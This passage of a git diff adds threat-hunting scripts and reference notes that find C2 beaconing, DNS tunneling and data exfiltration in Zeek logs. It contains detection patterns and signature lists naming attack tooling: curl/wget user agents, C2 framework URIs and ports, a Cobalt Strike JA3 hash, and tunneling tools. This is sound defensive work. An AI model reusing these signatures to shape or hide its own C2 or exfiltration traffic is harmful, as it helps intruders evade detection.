range(len(t)-1)] +mean = sum(intervals) / len(intervals) +variance = sum((x - mean)**2 for x in intervals) / len(intervals) +jitter = math.sqrt(variance) +jitter_percent = (jitter / mean) * 100 +``` + +### Jitter Thresholds +| Jitter % | Confidence | Likely Cause | +|----------|------------|--------------| +| < 5% | HIGH | Automated C2 beacon | +| 5-15% | MEDIUM | Possible C2 with sleep jitter | +| 15-30% | LOW | May be legitimate polling | +| > 30% | NONE | Likely human/random | + +## Zeek conn.log Format + +### Fields +| Index | Name | Description | +|-------|------|-------------| +| 0 | ts | Unix timestamp | +| 2 | id.orig_h | Source IP | +| 3 | id.orig_p | Source port | +| 4 | id.resp_h | Destination IP | +| 5 | id.resp_p | Destination port | +| 6 | proto | Protocol | +| 9 | orig_bytes | Sent bytes | +| 10 | resp_bytes | Received bytes | + +## RITA (Real Intelligence Threat Analytics) + +### Analyze Zeek Logs +```bash +rita import /path/to/zeek/logs dataset_name +rita show-beacons dataset_name +``` + +### Output Columns +| Column | Description | +|--------|-------------| +| Score | Beacon probability (0-1) | +| Source | Source IP | +| Destination | Destination IP | +| Connections | Total connections | +| Avg Bytes | Average data transfer | + +## Splunk SPL — Beacon Detection + +```spl +index=network sourcetype=zeek:conn +| bin _time span=60s +| stats count by src_ip, dest_ip, dest_port, _time +| streamstats window=100 stdev(count) as jitter avg(count) as avg_count by src_ip, dest_ip +| where jitter/avg_count < 0.15 +| stats count as beacon_count by src_ip, dest_ip, dest_port +| where beacon_count > 100 +``` + +## Elastic SIEM — Beacon Detection + +```json +{ + "query": { + "bool": { + "must": [ + {"range": {"@timestamp": {"gte": "now-24h"}}}, + {"exists": {"field": "destination.ip"}} + ] + } + }, + "aggs": { + "by_flow": { + "composite": { + "sources": [ + {"src": {"terms": {"field": "source.ip"}}}, + {"dst": {"terms": {"field": "destination.ip"}}} + ] + } + } + } +} +``` + +## Common C2 Beacon Intervals + +| Framework | Default Interval | +|-----------|-----------------| +| Cobalt Strike | 60 seconds | +| Metasploit | 5 seconds | +| Empire | 5 seconds | +| Covenant | 10 seconds | +| Sliver | 60 seconds | diff --git a/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py b/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py new file mode 100644 index 00000000..c573d04a --- /dev/null +++ b/skills/hunting-for-beaconing-with-frequency-analysis/scripts/agent.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python3 +"""Agent for detecting C2 beaconing through network traffic frequency analysis.""" + +import argparse +import json +import math +import os +import re +import sys +from collections import defaultdict +from datetime import datetime, timezone + + +def parse_zeek_conn_log(log_path): + """Parse Zeek conn.log and extract connection timestamps per src-dst pair.""" + connections = defaultdict(list) + try: + with open(log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) < 7: + continue + ts = float(fields[0]) + src, dst = fields[2], fields[4] + dst_port = fields[5] + key = f"{src}->{dst}:{dst_port}" + connections[key].append(ts) + except (FileNotFoundError, ValueError): + pass + return connections + + +def calculate_jitter(intervals): + """Calculate jitter (standard deviation of intervals).""" + if len(intervals) < 2: + return 0 + mean = sum(intervals) / len(intervals) + variance = sum((x - mean) ** 2 for x in intervals) / len(intervals) + return math.sqrt(variance) + + +def detect_beaconing(connections, min_connections=10, max_jitter_percent=15): + """Detect beaconing patterns based on interval regularity.""" + beacons = [] + for key, timestamps in connections.items(): + if len(timestamps) < min_connections: + continue + timestamps.sort() + intervals = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)] + if not intervals: + continue + mean_interval = sum(intervals) / len(intervals) + if mean_interval == 0: + continue + jitter = calculate_jitter(intervals) + jitter_percent = (jitter / mean_interval) * 100 + + if jitter_percent <= max_jitter_percent: + parts = key.split("->") + src = parts[0] + dst_port = parts[1] if len(parts) > 1 else "" + beacons.append({ + "flow": key, + "connection_count": len(timestamps), + "mean_interval_seconds": round(mean_interval, 2), + "jitter_seconds": round(jitter, 2), + "jitter_percent": round(jitter_percent, 2), + "duration_hours": round((timestamps[-1] - timestamps[0]) / 3600, 2), + "confidence": "HIGH" if jitter_percent < 5 else "MEDIUM", + }) + return sorted(beacons, key=lambda x: x["jitter_percent"]) + + +def parse_csv_log(csv_path): + """Parse generic CSV log with timestamp, src, dst, port columns.""" + connections = defaultdict(list) + try: + import csv + with open(csv_path, "r") as f: + reader = csv.DictReader(f) + for row in reader: + ts = row.get("timestamp") or row.get("ts") or row.get("time") + src = row.get("src") or row.get("source") or row.get("src_ip") + dst = row.get("dst") or row.get("destination") or row.get("dst_ip") + port = row.get("dst_port") or row.get("port") or "" + if ts and src and dst: + try: + ts_float = float(ts) + except ValueError: + from datetime import datetime as dt + try: + ts_float = dt.fromisoformat(ts.replace("Z", "+00:00")).timestamp() + except ValueError: + continue + connections[f"{src}->{dst}:{port}"].append(ts_float) + except (FileNotFoundError, KeyError): + pass + return connections + + +def main(): + parser = argparse.ArgumentParser( + description="Detect C2 beaconing via frequency analysis" + ) + parser.add_argument("--conn-log", help="Zeek conn.log path") + parser.add_argument("--csv", help="CSV log with timestamp, src, dst columns") + parser.add_argument("--min-connections", type=int, default=10) + parser.add_argument("--max-jitter", type=float, default=15, help="Max jitter percent") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Beaconing Detection via Frequency Analysis") + connections = {} + + if args.conn_log: + connections = parse_zeek_conn_log(args.conn_log) + elif args.csv: + connections = parse_csv_log(args.csv) + + print(f"[*] Unique flows: {len(connections)}") + beacons = detect_beaconing(connections, args.min_connections, args.max_jitter) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "flows_analyzed": len(connections), + "beacons_detected": len(beacons), + "beacons": beacons[:50], + "risk_level": "CRITICAL" if beacons else "LOW", + } + print(f"[*] Beacons detected: {len(beacons)}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-command-and-control-beaconing/LICENSE b/skills/hunting-for-command-and-control-beaconing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-command-and-control-beaconing/LICENSE +++ b/skills/hunting-for-command-and-control-beaconing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-command-and-control-beaconing/references/api-reference.md b/skills/hunting-for-command-and-control-beaconing/references/api-reference.md new file mode 100644 index 00000000..a7c5b2ec --- /dev/null +++ b/skills/hunting-for-command-and-control-beaconing/references/api-reference.md @@ -0,0 +1,84 @@ +# API Reference: C2 Beaconing Hunting + +## Zeek Log Files + +### conn.log Fields +| Index | Field | C2 Relevance | +|-------|-------|-------------| +| 0 | ts | Timing analysis | +| 2 | id.orig_h | Internal host | +| 4 | id.resp_h | C2 server | +| 5 | id.resp_p | C2 port | +| 8 | duration | Long = persistent C2 | +| 9 | orig_bytes | Upload size | +| 10 | resp_bytes | Download size | + +### dns.log Fields +| Index | Field | C2 Relevance | +|-------|-------|-------------| +| 0 | ts | Query timing | +| 2 | id.orig_h | Querying host | +| 9 | query | Domain queried | +| 11 | answers | Resolution | +| 14 | qtype_name | Query type (TXT = tunneling) | + +### http.log Fields +| Index | Field | C2 Relevance | +|-------|-------|-------------| +| 8 | host | C2 domain | +| 9 | uri | C2 path | +| 12 | user_agent | Identifies C2 framework | +| 13 | request_body_len | Upload size | +| 14 | response_body_len | Download size | + +## C2 Framework Signatures + +| Framework | User Agent | URI Pattern | Default Port | +|-----------|-----------|-------------|--------------| +| Cobalt Strike | Mozilla/5.0 | /submit.php, /activity | 443 | +| Metasploit | (varies) | /random 4-8 chars | 4444 | +| Empire | Mozilla/5.0 | /login/process.php | 443 | +| Sliver | (custom) | /random UUID | 443 | + +## DNS Tunneling Indicators + +| Indicator | Pattern | +|-----------|---------| +| Long subdomain | `[a-z0-9]{30,}\.domain\.com` | +| High query frequency | > 100 queries/hour to one domain | +| TXT record queries | Unusual volume of TXT lookups | +| High entropy | Shannon entropy > 3.5 in subdomain | + +## JA3/JA3S TLS Fingerprinting + +### JA3 Hash (Client) +```bash +# Zeek ssl.log field: ja3 +# Known C2 JA3 hashes: +# Cobalt Strike: 72a589da586844d7f0818ce684948eea +# Metasploit: various +``` + +## Threat Intelligence Feeds + +### Abuse.ch ThreatFox +```http +POST https://threatfox-api.abuse.ch/api/v1/ +Content-Type: application/json + +{"query": "search_ioc", "search_term": "1.2.3.4"} +``` + +### OTX AlienVault +```http +GET https://otx.alienvault.com/api/v1/indicators/IPv4/{ip}/general +X-OTX-API-KEY: {key} +``` + +## RITA Beacon Analysis +```bash +rita import /path/to/zeek/logs my_dataset +rita show-beacons my_dataset +rita show-long-connections my_dataset +rita show-dns-fqdn-pairs my_dataset +``` diff --git a/skills/hunting-for-command-and-control-beaconing/scripts/agent.py b/skills/hunting-for-command-and-control-beaconing/scripts/agent.py new file mode 100644 index 00000000..c250b06a --- /dev/null +++ b/skills/hunting-for-command-and-control-beaconing/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Agent for hunting C2 beaconing across multiple data sources.""" + +import argparse +import json +import math +import os +import re +import subprocess +import sys +from collections import defaultdict +from datetime import datetime, timezone + + +C2_INDICATORS = { + "known_ports": {443, 8443, 8080, 4444, 5555, 8888, 9090, 1337}, + "suspicious_user_agents": [ + "mozilla/4.0", "python-requests", "curl/", "wget/", + "java/", "go-http-client", + ], + "dns_c2_patterns": [ + r'^[a-z0-9]{30,}\.', # Long random subdomain (DNS tunneling) + r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', # Direct IP + ], +} + + +def analyze_dns_queries(dns_log_path): + """Analyze DNS query logs for C2 indicators.""" + findings = [] + domain_counts = defaultdict(int) + try: + with open(dns_log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) < 10: + continue + query = fields[9] if len(fields) > 9 else "" + domain_counts[query] += 1 + for pattern in C2_INDICATORS["dns_c2_patterns"]: + if re.match(pattern, query): + findings.append({ + "type": "suspicious_dns", + "query": query, + "pattern": pattern, + }) + except FileNotFoundError: + pass + + high_freq = sorted(domain_counts.items(), key=lambda x: x[1], reverse=True)[:20] + for domain, count in high_freq: + if count > 100 and len(domain) > 20: + findings.append({ + "type": "high_frequency_dns", + "domain": domain, + "query_count": count, + }) + return findings + + +def analyze_http_logs(http_log_path): + """Analyze HTTP logs for C2-like traffic patterns.""" + findings = [] + try: + with open(http_log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) < 13: + continue + host = fields[8] if len(fields) > 8 else "" + uri = fields[9] if len(fields) > 9 else "" + user_agent = fields[12] if len(fields) > 12 else "" + for ua in C2_INDICATORS["suspicious_user_agents"]: + if ua in user_agent.lower(): + findings.append({ + "type": "suspicious_user_agent", + "host": host, + "uri": uri[:100], + "user_agent": user_agent[:100], + }) + break + if re.match(r'^/[a-zA-Z0-9]{4,8}$', uri): + findings.append({ + "type": "c2_uri_pattern", + "host": host, + "uri": uri, + "note": "Short random URI typical of C2 frameworks", + }) + except FileNotFoundError: + pass + return findings + + +def analyze_connection_patterns(conn_log_path): + """Detect persistent long-duration connections typical of C2.""" + findings = [] + try: + with open(conn_log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) < 10: + continue + src = fields[2] + dst = fields[4] + dst_port = fields[5] + duration = fields[8] if len(fields) > 8 else "0" + orig_bytes = fields[9] if len(fields) > 9 else "0" + resp_bytes = fields[10] if len(fields) > 10 else "0" + try: + dur = float(duration) if duration != "-" else 0 + ob = int(orig_bytes) if orig_bytes != "-" else 0 + rb = int(resp_bytes) if resp_bytes != "-" else 0 + except ValueError: + continue + if dur > 3600 and ob > 0 and rb > 0: + ratio = ob / rb if rb > 0 else 999 + if 0.8 < ratio < 1.2: + findings.append({ + "type": "persistent_symmetric", + "src": src, "dst": dst, "port": dst_port, + "duration_hours": round(dur / 3600, 1), + "data_ratio": round(ratio, 2), + }) + except FileNotFoundError: + pass + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Hunt for C2 beaconing across network data sources" + ) + parser.add_argument("--conn-log", help="Zeek conn.log") + parser.add_argument("--dns-log", help="Zeek dns.log") + parser.add_argument("--http-log", help="Zeek http.log") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] C2 Beaconing Hunting Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.dns_log: + dns = analyze_dns_queries(args.dns_log) + report["findings"]["dns"] = dns + print(f"[*] DNS findings: {len(dns)}") + + if args.http_log: + http = analyze_http_logs(args.http_log) + report["findings"]["http"] = http + print(f"[*] HTTP findings: {len(http)}") + + if args.conn_log: + conn = analyze_connection_patterns(args.conn_log) + report["findings"]["connections"] = conn + print(f"[*] Connection findings: {len(conn)}") + + total = sum(len(v) for v in report["findings"].values()) + report["risk_level"] = "CRITICAL" if total >= 10 else "HIGH" if total >= 5 else "MEDIUM" if total > 0 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-data-exfiltration-indicators/LICENSE b/skills/hunting-for-data-exfiltration-indicators/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-data-exfiltration-indicators/LICENSE +++ b/skills/hunting-for-data-exfiltration-indicators/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-data-exfiltration-indicators/references/api-reference.md b/skills/hunting-for-data-exfiltration-indicators/references/api-reference.md new file mode 100644 index 00000000..fb2d4b56 --- /dev/null +++ b/skills/hunting-for-data-exfiltration-indicators/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Data Exfiltration Detection + +## Exfiltration Methods (MITRE ATT&CK) + +| Technique | ID | Description | +|-----------|----|-------------| +| Exfiltration Over C2 Channel | T1041 | Via existing C2 | +| Exfiltration Over Alternative Protocol | T1048 | DNS, ICMP, etc. | +| Exfiltration Over Web Service | T1567 | Cloud storage | +| Automated Exfiltration | T1020 | Scripted transfer | + +## DNS Exfiltration Indicators + +| Indicator | Threshold | +|-----------|-----------| +| Shannon entropy | > 3.5 | +| Subdomain length | > 40 chars | +| Query volume per domain | > 100/hour | +| TXT record responses | > 500 bytes | + +## Zeek Log Fields + +### conn.log +| Field | Description | +|-------|-------------| +| `ts` | Timestamp | +| `id.orig_h` | Source IP | +| `id.resp_h` | Destination IP | +| `orig_bytes` | Bytes from source | +| `resp_bytes` | Bytes from destination | + +### dns.log +| Field | Description | +|-------|-------------| +| `query` | DNS query name | +| `qtype_name` | Query type (A, TXT, etc.) | +| `answers` | Response answers | + +## Python Libraries + +| Library | Use | +|---------|-----| +| `csv` | Parse Zeek TSV logs | +| `math` | Shannon entropy calculation | +| `collections.defaultdict` | Aggregate statistics | +| `dpkt` | PCAP parsing | +| `scapy` | Packet-level analysis | + +## Shannon Entropy Formula + +``` +H(X) = -sum(p(x) * log2(p(x))) +``` +Normal domain: H < 3.0, Exfil encoded: H > 3.5 diff --git a/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py b/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py new file mode 100644 index 00000000..a1da972d --- /dev/null +++ b/skills/hunting-for-data-exfiltration-indicators/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Agent for hunting data exfiltration indicators in network traffic.""" + +import argparse +import csv +import json +import math +import sys +from collections import defaultdict +from datetime import datetime, timezone + + +DNS_EXFIL_ENTROPY_THRESHOLD = 3.5 +DNS_LABEL_LENGTH_THRESHOLD = 40 +LARGE_UPLOAD_THRESHOLD_MB = 50 + +SUSPICIOUS_PORTS = { + 20: "FTP Data", 21: "FTP", 22: "SSH/SCP", 53: "DNS", + 443: "HTTPS", 993: "IMAPS", 995: "POP3S", + 8443: "Alt HTTPS", 6667: "IRC", +} + + +def shannon_entropy(data): + """Calculate Shannon entropy of a string.""" + if not data: + return 0.0 + freq = defaultdict(int) + for c in data: + freq[c] += 1 + length = len(data) + return -sum((count/length) * math.log2(count/length) for count in freq.values()) + + +def analyze_dns_queries(filepath): + """Analyze DNS query log for exfiltration indicators.""" + findings = [] + domain_stats = defaultdict(lambda: {"count": 0, "total_length": 0, "queries": []}) + try: + with open(filepath, "r") as f: + reader = csv.DictReader(f, delimiter="\t") + for row in reader: + query = row.get("query", "") + if not query: + continue + parts = query.split(".") + if len(parts) < 2: + continue + domain = ".".join(parts[-2:]) + subdomain = ".".join(parts[:-2]) + domain_stats[domain]["count"] += 1 + domain_stats[domain]["total_length"] += len(subdomain) + domain_stats[domain]["queries"].append(subdomain) + except (OSError, csv.Error): + return findings + + for domain, stats in domain_stats.items(): + if stats["count"] < 5: + continue + avg_subdomain_len = stats["total_length"] / stats["count"] + all_subdomains = "".join(stats["queries"]) + entropy = shannon_entropy(all_subdomains) + if entropy > DNS_EXFIL_ENTROPY_THRESHOLD and avg_subdomain_len > 20: + findings.append({ + "type": "dns_exfiltration", + "domain": domain, + "query_count": stats["count"], + "avg_subdomain_length": round(avg_subdomain_len, 1), + "entropy": round(entropy, 3), + "severity": "CRITICAL", + }) + return findings + + +def analyze_network_flows(filepath): + """Analyze network flow data for large outbound transfers.""" + findings = [] + dest_bytes = defaultdict(int) + try: + with open(filepath, "r") as f: + reader = csv.DictReader(f, delimiter="\t") + for row in reader: + dst = row.get("id.resp_h", row.get("dst", "")) + orig_bytes = int(row.get("orig_bytes", 0) or 0) + dest_bytes[dst] += orig_bytes + except (OSError, csv.Error, ValueError): + return findings + + for dst, total in dest_bytes.items(): + mb = total / (1024 * 1024) + if mb >= LARGE_UPLOAD_THRESHOLD_MB: + findings.append({ + "type": "large_outbound_transfer", + "destination": dst, + "total_bytes": total, + "total_mb": round(mb, 2), + "severity": "HIGH", + }) + return findings + + +def analyze_off_hours_traffic(filepath): + """Check for significant data transfers during off-hours.""" + findings = [] + off_hours_transfers = defaultdict(int) + try: + with open(filepath, "r") as f: + reader = csv.DictReader(f, delimiter="\t") + for row in reader: + ts = float(row.get("ts", 0)) + hour = datetime.fromtimestamp(ts).hour + if hour < 6 or hour > 22: + dst = row.get("id.resp_h", row.get("dst", "")) + orig_bytes = int(row.get("orig_bytes", 0) or 0) + off_hours_transfers[dst] += orig_bytes + except (OSError, csv.Error, ValueError): + return findings + + for dst, total in off_hours_transfers.items(): + mb = total / (1024 * 1024) + if mb >= 10: + findings.append({ + "type": "off_hours_transfer", + "destination": dst, + "total_mb": round(mb, 2), + "severity": "MEDIUM", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Data exfiltration indicator hunter" + ) + parser.add_argument("--conn-log", help="Zeek conn.log or network flow CSV") + parser.add_argument("--dns-log", help="Zeek dns.log or DNS query CSV") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if not args.conn_log and not args.dns_log: + parser.error("At least one of --conn-log or --dns-log is required") + + print("[*] Data Exfiltration Indicator Hunter") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.dns_log: + report["findings"].extend(analyze_dns_queries(args.dns_log)) + if args.conn_log: + report["findings"].extend(analyze_network_flows(args.conn_log)) + report["findings"].extend(analyze_off_hours_traffic(args.conn_log)) + + report["risk_level"] = ( + "CRITICAL" if any(f["severity"] == "CRITICAL" for f in report["findings"]) + else "HIGH" if any(f["severity"] == "HIGH" for f in report["findings"]) + else "MEDIUM" if report["findings"] else "LOW" + ) + report["total_findings"] = len(report["findings"]) + + print(f"[*] {report['total_findings']} exfiltration indicators found") + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-dns-tunneling-with-zeek/LICENSE b/skills/hunting-for-dns-tunneling-with-zeek/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-dns-tunneling-with-zeek/LICENSE +++ b/skills/hunting-for-dns-tunneling-with-zeek/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md b/skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md new file mode 100644 index 00000000..37aedd85 --- /dev/null +++ b/skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: DNS Tunneling Detection with Zeek + +## Detection Heuristics + +| Indicator | Threshold | Score | +|-----------|-----------|-------| +| Shannon entropy | > 3.5 | +40 | +| Avg subdomain length | > 30 chars | +30 | +| Tunnel query type ratio | > 50% TXT/NULL/CNAME | +20 | +| High query volume | > 500 queries | +10 | + +## Zeek dns.log Fields + +| Index | Field | Description | +|-------|-------|-------------| +| 0 | `ts` | Timestamp | +| 2 | `id.orig_h` | Source IP | +| 4 | `id.resp_h` | DNS server | +| 9 | `query` | Query name | +| 13 | `qtype_name` | Query type (A, TXT, etc.) | +| 21 | `answers` | Response answers | + +## DNS Tunneling Tools (for detection reference) + +| Tool | Encoding | Query Type | +|------|----------|-----------| +| iodine | Base128 | NULL, TXT | +| dnscat2 | Hex/Base64 | CNAME, TXT, MX | +| dns2tcp | Base64 | TXT | +| Cobalt Strike | Hex | A, AAAA, TXT | + +## Shannon Entropy Reference + +| Data Type | Entropy | +|-----------|---------| +| Normal hostnames | 2.0 - 3.0 | +| Base32 encoded | 3.5 - 4.0 | +| Base64 encoded | 4.0 - 5.0 | +| Hex encoded | 3.5 - 4.0 | + +## Python Libraries + +| Library | Use | +|---------|-----| +| `math` | Entropy calculation | +| `csv` | TSV log parsing | +| `collections.defaultdict` | Domain aggregation | +| `dpkt` | PCAP DNS parsing | +| `dnslib` | DNS packet construction | + +## Zeek Scripts for DNS Analysis + +```zeek +@load base/protocols/dns +redef DNS::max_pending_queries = 1000; +event dns_request(c: connection, msg: dns_msg, query: string, qtype: count) { + if (|query| > 50) print fmt("Long query: %s", query); +} +``` diff --git a/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py b/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py new file mode 100644 index 00000000..16ee0457 --- /dev/null +++ b/skills/hunting-for-dns-tunneling-with-zeek/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Agent for detecting DNS tunneling using Zeek log analysis.""" + +import argparse +import csv +import json +import math +import sys +from collections import defaultdict +from datetime import datetime, timezone + + +ENTROPY_THRESHOLD = 3.5 +MIN_QUERIES_PER_DOMAIN = 20 +MAX_NORMAL_SUBDOMAIN_LEN = 30 +TUNNEL_QUERY_TYPES = {"TXT", "NULL", "CNAME", "MX"} + + +def shannon_entropy(data): + """Calculate Shannon entropy of a string.""" + if not data: + return 0.0 + freq = defaultdict(int) + for c in data: + freq[c] += 1 + n = len(data) + return -sum((cnt/n) * math.log2(cnt/n) for cnt in freq.values()) + + +def load_dns_log(filepath): + """Load Zeek dns.log (TSV format).""" + entries = [] + try: + with open(filepath, "r") as f: + for line in f: + if line.startswith("#"): + continue + parts = line.strip().split("\t") + if len(parts) >= 10: + entries.append({ + "ts": parts[0], + "uid": parts[1], + "src": parts[2], + "src_port": parts[3], + "dst": parts[4], + "dst_port": parts[5], + "query": parts[9] if len(parts) > 9 else "", + "qtype": parts[13] if len(parts) > 13 else "", + "answers": parts[21] if len(parts) > 21 else "", + }) + except (OSError, IndexError) as e: + print(f"[!] Error loading DNS log: {e}") + return entries + + +def analyze_domain_statistics(entries): + """Compute per-domain statistics for tunneling detection.""" + domain_data = defaultdict(lambda: { + "queries": [], "subdomains": [], "qtypes": defaultdict(int), + "sources": set(), "total_subdomain_len": 0, + }) + + for entry in entries: + query = entry.get("query", "") + if not query or query == "-": + continue + parts = query.rstrip(".").split(".") + if len(parts) < 2: + continue + domain = ".".join(parts[-2:]) + subdomain = ".".join(parts[:-2]) + d = domain_data[domain] + d["queries"].append(query) + d["subdomains"].append(subdomain) + d["qtypes"][entry.get("qtype", "")] += 1 + d["sources"].add(entry.get("src", "")) + d["total_subdomain_len"] += len(subdomain) + + return domain_data + + +def detect_tunneling(domain_data): + """Apply tunneling detection heuristics.""" + findings = [] + for domain, data in domain_data.items(): + query_count = len(data["queries"]) + if query_count < MIN_QUERIES_PER_DOMAIN: + continue + + avg_subdomain_len = data["total_subdomain_len"] / query_count + all_subdomain_text = "".join(data["subdomains"]) + entropy = shannon_entropy(all_subdomain_text) + + tunnel_qtype_count = sum( + data["qtypes"].get(qt, 0) for qt in TUNNEL_QUERY_TYPES + ) + tunnel_qtype_ratio = tunnel_qtype_count / query_count if query_count else 0 + + score = 0 + if entropy > ENTROPY_THRESHOLD: + score += 40 + if avg_subdomain_len > MAX_NORMAL_SUBDOMAIN_LEN: + score += 30 + if tunnel_qtype_ratio > 0.5: + score += 20 + if query_count > 500: + score += 10 + + if score >= 40: + findings.append({ + "domain": domain, + "query_count": query_count, + "avg_subdomain_length": round(avg_subdomain_len, 1), + "entropy": round(entropy, 3), + "tunnel_qtype_ratio": round(tunnel_qtype_ratio, 3), + "unique_sources": len(data["sources"]), + "tunnel_score": score, + "severity": "CRITICAL" if score >= 70 else "HIGH" if score >= 50 else "MEDIUM", + }) + + findings.sort(key=lambda f: f["tunnel_score"], reverse=True) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="DNS tunneling detection agent using Zeek logs" + ) + parser.add_argument("dns_log", help="Path to Zeek dns.log") + parser.add_argument("--min-queries", type=int, default=20) + parser.add_argument("--entropy-threshold", type=float, default=3.5) + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + global MIN_QUERIES_PER_DOMAIN, ENTROPY_THRESHOLD + MIN_QUERIES_PER_DOMAIN = args.min_queries + ENTROPY_THRESHOLD = args.entropy_threshold + + print("[*] DNS Tunneling Detection Agent (Zeek)") + entries = load_dns_log(args.dns_log) + if not entries: + print("[!] No DNS entries loaded") + sys.exit(1) + + print(f"[*] Loaded {len(entries)} DNS queries") + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "source_file": args.dns_log, + "total_queries": len(entries), + "findings": [], + } + + domain_data = analyze_domain_statistics(entries) + findings = detect_tunneling(domain_data) + report["findings"] = findings + report["risk_level"] = ( + "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) + else "HIGH" if findings else "LOW" + ) + + print(f"[*] Detected {len(findings)} suspected DNS tunnels") + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-living-off-the-cloud-techniques/LICENSE b/skills/hunting-for-living-off-the-cloud-techniques/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-living-off-the-cloud-techniques/LICENSE +++ b/skills/hunting-for-living-off-the-cloud-techniques/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-living-off-the-land-binaries/LICENSE b/skills/hunting-for-living-off-the-land-binaries/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-living-off-the-land-binaries/LICENSE +++ b/skills/hunting-for-living-off-the-land-binaries/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE b/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE +++ b/skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE b/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE +++ b/skills/hunting-for-persistence-mechanisms-in-windows/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md b/skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md new file mode 100644 index 00000000..67e5221d --- /dev/null +++ 